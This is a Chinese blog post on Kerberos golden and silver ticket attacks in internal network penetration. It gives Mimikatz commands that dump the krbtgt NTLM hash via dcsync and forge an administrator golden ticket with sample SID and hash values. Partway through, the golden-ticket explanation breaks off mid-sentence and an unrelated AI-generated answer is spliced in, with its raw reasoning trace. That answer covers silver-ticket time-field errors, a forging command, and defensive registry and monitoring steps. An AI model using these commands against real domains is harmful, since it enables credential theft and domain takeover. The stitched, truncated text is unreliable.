kerberos协议&黄金票据白银票据

本文介绍了内网渗透中如何使用Kerberos协议进行三方认证,包括通信过程图解,黄金票据和白银票据的应用,以及实战中如何利用Mimikatz工具生成、管理及执行非法操作,如获取NTLM哈希和添加域管理员账户。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一、名词解释

在内网渗透过程中,一些需要三方认证的场合就需要使用kerberos协议。

kerberos的前身是cerberos(地狱三头犬),很形象生动地描述了三方认证的这个场景。

二、通信过程图解

三、黄金票据&白银票据使用前提

四、实战中常用工具

cs、mimikatz等

mimikatz使用方法:

1.在普通域用户中使用mimikatz生成黄金票据.kirbi文件并保存
mimikatz log "lsadump::dcsync /domain:xiusafe /user:krbtgt"//导出NTLM哈希
kerberos::golden /user:administrator /domain:xxx.com /sid:S-1-5-21-3818247987-2711466351-3365387365 /krbtgt:5eadd5a4f3a4861f8e887310db890002 /ticket:ticket.kirbi

/user:需要伪造的域管理员用户

/domain:域名称

/sid:SID值,(这里要是使用系统命令的话抓到是这样的SID,最后面的值代表着这个账号的SID

<think>好的,我现在需要帮助用户解决关于白银票据时间逻辑错误的问题。用户提到白银票据的结束时间早于开始时间,想知道错误的原因和解决方法。首先,我得回忆一下Kerberos认证中票据的结构和相关时间字段的作用。 根据引用[4],白银票据是伪造的ST(Service Ticket),而ST中包含时间戳和有效时间。在引用[2]中提到,Server收到ST后会解密并检查时间戳,通常有效时间为8小时。这说明时间字段的正确性非常重要。如果结束时间早于开始时间,Server在验证时会发现时间无效,拒绝票据。 接下来,我需要确定时间字段是如何生成的。白银票据伪造时,攻击者需要手动设置开始时间(starttime)和结束时间(endtime)。如果这两个时间设置错误,比如结束时间早于开始时间,就会导致票据无效。这可能是因为生成票据的工具配置错误,或者攻击者在手动设置时犯了错误。 解决方法方面,首先应该检查生成票据时的时间参数是否正确。确保结束时间晚于开始时间,并且符合Kerberos的时间策略(如通常不超过8小时)。此外,引用[3]提到可以通过修改注册表来增强验证,比如启用ValidateKdcPacSignature,这可能会影响票据的验证严格性。虽然用户的问题是关于伪造票据的时间错误,但作为防御方,加强验证机制可以检测此类异常票据。 另外,引用[5]提到关于降级攻击和弱加密算法的问题,虽然不直接相关,但提醒了加密算法和密钥强度的重要性。不过用户的问题集中在时间逻辑错误,所以暂时不需要深入这部分。 总结下来,错误的原因是时间参数设置错误,导致服务器验证失败。解决方法包括检查时间参数的正确性,使用正确的工具命令,以及确保时间差在允许范围内。同时,防御方可以启用更严格的验证机制来检测此类问题。</think>### 白银票据时间逻辑错误分析及解决方法 #### 错误原因 1. **票据时间字段矛盾** 白银票据(Service Ticket)包含以下关键时间字段: - `starttime`:票据生效时间 - `endtime`:票据过期时间 若伪造时设置`endtime < starttime`,会导致时间逻辑错误。根据Kerberos协议,服务端(Server)会解密票据后校验时间有效性[^2][^4]。 2. **服务器验证机制** 服务端通过以下步骤检测时间异常: ```plaintext 1. 解密ST获取Client-info和timestamp 2. 检查票据时间范围是否合法(starttime ≤ endtime) 3. 验证timestamp是否在有效期内(通常8小时)[^2] ``` #### 解决方法 1. **伪造端修复方法** - **时间参数修正** 确保生成票据时满足`starttime < endtime`,例如使用工具命令: ```bash kerberos::golden /user:Administrator /target:server.domain.com /service:cifs /starttime:2023-10-01T12:00 /endtime:2023-10-01T20:00 ``` - **时间同步要求** 伪造票据的时间误差需与域控(KDC)时间差小于5分钟。 2. **防御端检测方法** - **启用PAC签名验证** 修改注册表强制验证PAC签名,增强时间字段校验强度: ```reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters ValidateKdcPacSignature = 1 [^3] ``` - **监控异常票据** 通过SIEM工具检测`KRB_AP_ERR_BADTIME`或`KRB_AP_ERR_MODIFIED`事件日志[^2]。 #### 技术原理补充 白银票据绕过KDC直接伪造ST,但服务端仍会通过以下流程验证: ```mermaid graph LR A[Client发送ST] --> B{Server解密ST} B --> C[提取Session Key] C --> D[校验时间逻辑] D --> |失败| E[返回KRB_AP_ERR_BADTIME] D --> |成功| F[建立通信] ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值